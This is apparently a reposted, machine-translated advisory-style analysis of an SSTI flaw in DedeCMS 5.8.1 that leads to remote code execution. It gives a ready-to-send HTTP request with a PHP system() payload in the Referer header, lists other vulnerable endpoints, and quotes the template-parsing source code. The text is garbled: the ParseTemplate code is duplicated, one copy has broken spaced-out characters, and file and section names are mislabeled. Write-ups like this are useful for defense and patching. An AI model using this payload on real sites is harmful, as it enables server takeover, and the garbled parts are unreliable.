[security vulnerability] rdecms-5.8.1 SSTI template injection leads to RCE

Keywords: network Deep Learning security Web Security security hole

Vulnerability type

SSTI RCE

Utilization conditions

Scope of influence application

Vulnerability overview

On September 30, 2021, Steven Seeley, a foreign security researcher, disclosed an SQL injection vulnerability and an RCE vulnerability caused by SSTI in the latest DedeCMS version. Because the utilization conditions of SQL injection vulnerability are extremely harsh, only the SSTI injection vulnerability is briefly analyzed and reproduced here

Construction of leakage environment

[technical learning materials]

Loophole recurrence

phpstudy is used here to build the environment




Website front desk: http://192.168.59.1/index.php?upcache=1

Website background: http://192.168.59.1/dede/login.php?gotopa …

Exploit vulnerability

GET /plus/flink.php?dopost=save HTTP/1.1
Host: 192.168.59.1
Referer: <?php "system"(whoami);die;/*
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=rh4vs9n0m1ihpuguuok4oinerr; _csrf_name_26859a31=736abb4d994bae3b85bba1781e8a50f9; _csrf_name_26859a31__ckMd5=0f32d9d2b18e1390
Connection: close


Similar URL s include:

/plus/flink.php?dopost=save
/plus/users_products.php?oid=1337     
/plus/download.php?aid=1337
/plus/showphoto.php?aid=1337
/plus/users-do.php?fmdo=sendMail
/plus/posttocar.php?id=1337
/plus/recommend.php

Vulnerability analysis

The vulnerability entry is located in the plus / flex.php file. In this file, if the dopost value passed in is save and the verification code is not passed, we will call the ShowMsg function immediately:

The trace then enters the ShowMsg() function in the include/common.func.php file

/**
 *  The short message function can provide friendly prompt information after an action is processed
 *
 * @param  string $msg       Message prompt
 * @param  string $gourl     Jump address
 * @param  int    $onlymsg   Show information only
 * @param  int    $limittime Limit time
 * @return void
 */
function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
{
    if (empty($GLOBALS['cfg_plus_dir'])) {
        $GLOBALS['cfg_plus_dir'] = '..';
    }
    if ($gourl == -1) {
        $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
        if ($gourl == "") {
            $gourl = -1;
        }
    }

    $htmlhead = "
    <html>\r\n<head>\r\n<title>DedeCMS Prompt information</title>\r\n
    <meta http-equiv=\"Content-Type\" content=\"text/html; charset={dede:global.cfg_soft_lang/}\" />
    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no\">
    <meta name=\"renderer\" content=\"webkit\">
    <meta http-equiv=\"Cache-Control\" content=\"no-siteapp\" />
    <link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/pkg/uikit/css/uikit.min.css\" />
    <link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/css/manage.dede.css\">
    <base target='_self'/>
    </head>
    <body>
    " . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . "
    <center style=\"width:450px\" class=\"uk-container\">

    <div class=\"uk-card uk-card-small uk-card-default\" style=\"margin-top: 50px;\">
        <div class=\"uk-card-header\"  style=\"height:20px\">DedeCMS Prompt information!</div>

    <script>\r\n";
    $htmlfoot = "
    </script>


    </center>

    <script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit.min.js\"></script>
    <script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit-icons.min.js\"></script>
    </body>\r\n</html>\r\n";

    $litime = ($limittime == 0 ? 1000 : $limittime);
    $func = '';

    if ($gourl == '-1') {
        if ($limittime == 0) {
            $litime = 3000;
        }

        $gourl = "javascript:history.go(-1);";
    }

    if ($gourl == '' || $onlymsg == 1) {
        $msg = "<script>alert(\"" . str_replace("\"", """, $msg) . "\");</script>";
    } else {
        //When the web address is: close::objname, close the id=objname element of the parent framework
        if (preg_match('/close::/', $gourl)) {
            $tgobj = trim(preg_replace('/close::/', '', $gourl));
            $gourl = 'javascript:;';
            $func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n";
        }

        $func .= "var pgo=0;
      function JumpUrl(){
        if(pgo==0){ location='$gourl'; pgo=1; }
      }\r\n";
        $rmsg = $func;
        $rmsg .= "document.write(\"<div style='height:130px;font-size:10pt;background:#ffffff'><br />\");\r\n";
        $rmsg .= "document.write(\"" . str_replace("\"", """, $msg) . "\");\r\n";
        $rmsg .= "document.write(\"";

        if ($onlymsg == 0) {
            if ($gourl != 'javascript:;' && $gourl != '') {
                $rmsg .= "<br /><a href='{$gourl}'>If your browser doesn't respond, please click here...</a>";
                $rmsg .= "<br/></div>\");\r\n";
                $rmsg .= "setTimeout('JumpUrl()',$litime);";
            } else {
                $rmsg .= "<br/></div>\");\r\n";
            }
        } else {
            $rmsg .= "<br/><br/></div>\");\r\n";
        }
        $msg = $htmlhead . $rmsg . $htmlfoot;
    }
    $tpl = new DedeTemplate();
    $tpl->LoadString($msg);
    $tpl->Display();
}

Here we can see that if the gourl is set to − 1 (indirectly controllable), the attacker can control the value of the variable at the gourl through httpreferr, and the variable is directly assigned to the variable gourl without filtering. After a series of operations, the gourl is spliced with html code, and then tpl − > loadstring is called for page rendering, Following up LoadString, you can see that the sourceString variable here is directly assigned by str, which is controllable by attackers. After that, md5 is calculated, then the cache file and cache configuration file name are set, the cache file is located in the data\tplcache directory, and then ParserTemplate is used to parse the file.

ParserTemplate is as follows:

/**
     *  Parsing template
     *
     * @access public
     * @return void
     */
    public function ParseTemplate()
    {
        if ($this->makeLoop > 5) {
            return;
        }
        $this->count = -1;
        $this->cTags = array();
        $this->isParse = true;
        $sPos = 0;
        $ePos = 0;
        $tagStartWord = $this->tagStartWord;
        $fullTagEndWord = $this->fullTagEndWord;
        $sTagEndWord = $this->sTagEndWord;
        $tagEndWord = $this->tagEndWord;
        $startWordLen = strlen($tagStartWord);
        $sourceLen = strlen($this->sourceString);
        if ($sourceLen <= ($startWordLen + 3)) {
            return;
        }
        $cAtt = new TagAttributeParse();
        $cAtt->CharToLow = true;

        //To traverse the template string, please get the tag and its attribute information
        $t = 0;
        $preTag = '';
        $tswLen = strlen($tagStartWord);
        @$cAtt->cAttributes->items = array();
        for ($i = 0; $i < $sourceLen; $i++) {
            $ttagName = '';

            //If this judgment is not made, the two connected marks will not be recognized
            if ($i - 1 >= 0) {
                $ss = $i - 1;
            } else {
                $ss = 0;
            }
            $tagPos = strpos($this->sourceString, $tagStartWord, $ss);

            //Determine whether there are template marks behind
            if ($tagPos == 0 && ($sourceLen - $i < $tswLen
                || substr($this->sourceString, $i, $tswLen) != $tagStartWord)
            ) {
                $tagPos = -1;
                break;
            }

            //Get TAG basic information
            for ($j = $tagPos + $startWordLen; $j < $tagPos + $startWordLen + $this->tagMaxLen; $j++) {
                if (preg_match("/[ >\/\r\n\t\}\.]/", $this->sourceString[$j])) {
                    break;
                } else {
                    $ttagName .= $this->sourceString[$j];
                }
            }
            if ($ttagName != '') {
                $i = $tagPos + $startWordLen;
                $endPos = -1;

                //Judge '/}' {tag: start of next tag '{/ tag: end of tag' who is closest
                $fullTagEndWordThis = $fullTagEndWord . $ttagName . $tagEndWord;
                $e1 = strpos($this->sourceString, $sTagEndWord, $i);
                $e2 = strpos($this->sourceString, $tagStartWord, $i);
                $e3 = strpos($this->sourceString, $fullTagEndWordThis, $i);
                $e1 = trim($e1);
                $e2 = trim($e2);
                $e3 = trim($e3);
                $e1 = ($e1 == '' ? '-1' : $e1);
                $e2 = ($e2 == '' ? '-1' : $e2);
                $e3 = ($e3 == '' ? '-1' : $e3);
                if ($e3 == -1) {
                    //'{/ tag: tag' does not exist
                    $endPos = $e1;
                    $elen = $endPos + strlen($sTagEndWord);
                } else if ($e1 == -1) {
                    //'/}' does not exist
                    $endPos = $e3;
                    $elen = $endPos + strlen($fullTagEndWordThis);
                }

                //Both '/}' and '{/ tag: tag' exist
                else {
                    //If '/}' is closer than '{tag:', '{/ tag: tag', the end flag is considered '/}', otherwise the end flag is' {/ tag: tag '
                    if ($e1 < $e2 && $e1 < $e3) {
                        $endPos = $e1;
                        $elen = $endPos + strlen($sTagEndWord);
                    } else {
                        $endPos = $e3;
                        $elen = $endPos + strlen($fullTagEndWordThis);
                    }
                }

                //If the end tag is not found, the tag is considered to be in error
                if ($endPos == -1) {
                    echo "Tpl Character postion $tagPos, '$ttagName' Error!<br />\r\n";
                    break;
                }
                $i = $elen;

                //Analyze the location and other information of the found mark
                $attStr = '';
                $innerText = '';
                $startInner = 0;
                for ($j = $tagPos + $startWordLen; $j < $endPos; $j++) {
                    if ($startInner == 0) {
                        if ($this->sourceString[$j] == $tagEndWord) {
                            $startInner = 1;
                            continue;
                        } else {
                            $attStr .= $this->sourceString[$j];
                        }
                    } else {
                        $innerText .= $this->sourceString[$j];
                    }
                }
                $ttagName = strtolower($ttagName);

                //if, php tags, treat the entire attribute string as an attribute
                if (preg_match("/^if[0-9]{0,}$/", $ttagName)) {
                    $cAtt->cAttributes = new TagAttribute();
                    $cAtt->cAttributes->count = 2;
                    $cAtt->cAttributes->items['tagname'] = $ttagName;
                    $cAtt->cAttributes->items['condition'] = preg_replace("/^if[0-9]{0,}[\r\n\t ]/", "", $attStr);
                    $innerText = preg_replace("/\{else\}/i", '<' . "?php\r\n}\r\nelse{\r\n" . '?' . '>', $innerText);
                } else if ($ttagName == 'php') {
                    $cAtt->cAttributes = new TagAttribute();
                    $cAtt->cAttributes->count = 2;
                    $cAtt->cAttributes->items['tagname'] = $ttagName;
                    $cAtt->cAttributes->items['code'] = '<' . "?php\r\n" . trim(
                        preg_replace(
                            "/^php[0-9]{0,}[\r\n\t ]/",
                            "", $attStr
                        )
                    ) . "\r\n?" . '>';
                } else {
                    //Common tags, interpreting attributes
                    $cAtt->SetSource($attStr);
                }
                $this->count++;
                $cTag = new Tag();
                $cTag->tagName = $ttagName;
                $cTag->startPos = $tagPos;
                $cTag->endPos = $i;
                $cTag->cAtt = $cAtt->cAttributes;
                $cTag->isCompiler = false;
                $cTag->tagID = $this->count;
                $cTag->innerText = $innerText;
                $this->cTags[$this->count] = $cTag;
            } else {
                $i = $tagPos + $startWordLen;
                break;
            }
        } //End traversal of template string
        if ($this->count > -1 && $this->isCompiler) {
            $this->CompilerAll();
        }
    }

Then return to the previous level, where the Display function will be called to Display the parsing results, and the WriteCache function will be called here
ParserTemplate is as follows:

/**
*Parsing template
*
* @access public
* @return void
*/
public function ParseTemplate()
{
if ($this->makeLoop > 5) {
return;
}
$this->count = -1;
$this->cTags = array();
$this->isParse = true;
$sPos = 0;
$ePos = 0;
$tagStartWord = $this->tagStartWord;
$fullTagEndWord = $this->fullTagEndWord;
$sTagEndWord = $this->sTagEndWord;
$tagEndWord = $this->tagEndWord;
s t a r t W o r d L e n = s t r l e n ( startWordLen = strlen( startWordLen=strlen(tagStartWord);
s o u r c e L e n = s t r l e n ( sourceLen = strlen( sourceLen=strlen(this->sourceString);
if ( s o u r c e L e n < = ( sourceLen <= ( sourceLen<=(startWordLen + 3)) {
return;
}
$cAtt = new TagAttributeParse();
$cAtt->CharToLow = true;

    //To traverse the template string, please get the tag and its attribute information
    $t = 0;
    $preTag = '';
    $tswLen = strlen($tagStartWord);
    @$cAtt->cAttributes->items = array();
    for ($i = 0; $i < $sourceLen; $i++) {
        $ttagName = '';

        //If this judgment is not made, the two connected marks will not be recognized
        if ($i - 1 >= 0) {
            $ss = $i - 1;
        } else {
            $ss = 0;
        }
        $tagPos = strpos($this->sourceString, $tagStartWord, $ss);

        //Determine whether there are template marks behind
        if ($tagPos == 0 && ($sourceLen - $i < $tswLen
            || substr($this->sourceString, $i, $tswLen) != $tagStartWord)
        ) {
            $tagPos = -1;
            break;
        }

        //Get TAG basic information
        for ($j = $tagPos + $startWordLen; $j < $tagPos + $startWordLen + $this->tagMaxLen; $j++) {
            if (preg_match("/[ >\/\r\n\t\}\.]/", $this->sourceString[$j])) {
                break;
            } else {
                $ttagName .= $this->sourceString[$j];
            }
        }
        if ($ttagName != '') {
            $i = $tagPos + $startWordLen;
            $endPos = -1;

            //Judge '/}' {tag: start of next tag '{/ tag: end of tag' who is closest
            $fullTagEndWordThis = $fullTagEndWord . $ttagName . $tagEndWord;
            $e1 = strpos($this->sourceString, $sTagEndWord, $i);
            $e2 = strpos($this->sourceString, $tagStartWord, $i);
            $e3 = strpos($this->sourceString, $fullTagEndWordThis, $i);
            $e1 = trim($e1);
            $e2 = trim($e2);
            $e3 = trim($e3);
            $e1 = ($e1 == '' ? '-1' : $e1);
            $e2 = ($e2 == '' ? '-1' : $e2);
            $e3 = ($e3 == '' ? '-1' : $e3);
            if ($e3 == -1) {
                //'{/ tag: tag' does not exist
                $endPos = $e1;
                $elen = $endPos + strlen($sTagEndWord);
            } else if ($e1 == -1) {
                //'/}' does not exist
                $endPos = $e3;
                $elen = $endPos + strlen($fullTagEndWordThis);
            }

            //Both '/}' and '{/ tag: tag' exist
            else {
                //If '/}' is closer than '{tag:', '{/ tag: tag', the end flag is considered '/}', otherwise the end flag is' {/ tag: tag '
                if ($e1 < $e2 && $e1 < $e3) {
                    $endPos = $e1;
                    $elen = $endPos + strlen($sTagEndWord);
                } else {
                    $endPos = $e3;
                    $elen = $endPos + strlen($fullTagEndWordThis);
                }
            }

            //If the end tag is not found, the tag is considered to be in error
            if ($endPos == -1) {
                echo "Tpl Character postion $tagPos, '$ttagName' Error!<br />\r\n";
                break;
            }
            $i = $elen;

            //Analyze the location and other information of the found mark
            $attStr = '';
            $innerText = '';
            $startInner = 0;
            for ($j = $tagPos + $startWordLen; $j < $endPos; $j++) {
                if ($startInner == 0) {
                    if ($this->sourceString[$j] == $tagEndWord) {
                        $startInner = 1;
                        continue;
                    } else {
                        $attStr .= $this->sourceString[$j];
                    }
                } else {
                    $innerText .= $this->sourceString[$j];
                }
            }
            $ttagName = strtolower($ttagName);

            //if, php tags, treat the entire attribute string as an attribute
            if (preg_match("/^if[0-9]{0,}$/", $ttagName)) {
                $cAtt->cAttributes = new TagAttribute();
                $cAtt->cAttributes->count = 2;
                $cAtt->cAttributes->items['tagname'] = $ttagName;
                $cAtt->cAttributes->items['condition'] = preg_replace("/^if[0-9]{0,}[\r\n\t ]/", "", $attStr);
                $innerText = preg_replace("/\{else\}/i", '<' . "?php\r\n}\r\nelse{\r\n" . '?' . '>', $innerText);
            } else if ($ttagName == 'php') {
                $cAtt->cAttributes = new TagAttribute();
                $cAtt->cAttributes->count = 2;
                $cAtt->cAttributes->items['tagname'] = $ttagName;
                $cAtt->cAttributes->items['code'] = '<' . "?php\r\n" . trim(
                    preg_replace(
                        "/^php[0-9]{0,}[\r\n\t ]/",
                        "", $attStr
                    )
                ) . "\r\n?" . '>';
            } else {
                //Common tags, interpreting attributes
                $cAtt->SetSource($attStr);
            }
            $this->count++;
            $cTag = new Tag();
            $cTag->tagName = $ttagName;
            $cTag->startPos = $tagPos;
            $cTag->endPos = $i;
            $cTag->cAtt = $cAtt->cAttributes;
            $cTag->isCompiler = false;
            $cTag->tagID = $this->count;
            $cTag->innerText = $innerText;
            $this->cTags[$this->count] = $cTag;
        } else {
            $i = $tagPos + $startWordLen;
            break;
        }
    } //End traversal of template string
    if ($this->count > -1 && $this->isCompiler) {
        $this->CompilerAll();
    }
}

Then return to the previous level, where the Display function will be called to Display the parsing results, and the WriteCache function will be called here

Write cache file in WriteCache function:


Here, use the GetResult return value sourceString to set the $result variable, which contains the attacker controlled input data:


After that, the CheckDisabledFunctions function is called for the check operation. This function is mainly used to check whether there is a forbidden function, and then gets the input through the token_get_all_nl function. However, there is no double sign in the processing, and there is a risk of being circumvented. The attacker can write the malicious PHP to the temporary file and then pass the include $tpl->CacheFile (Display) at the Display function. Include malicious temporary files for remote code execution:

Safety advice

At present, the latest version of DedeCMS V5.7.80 UTF-8 has been officially released. It is recommended to upgrade to this version

Click Get[ Network security learning materials · introduction]

Posted by gacon on Sat, 20 Nov 2021 06:57:18 -0800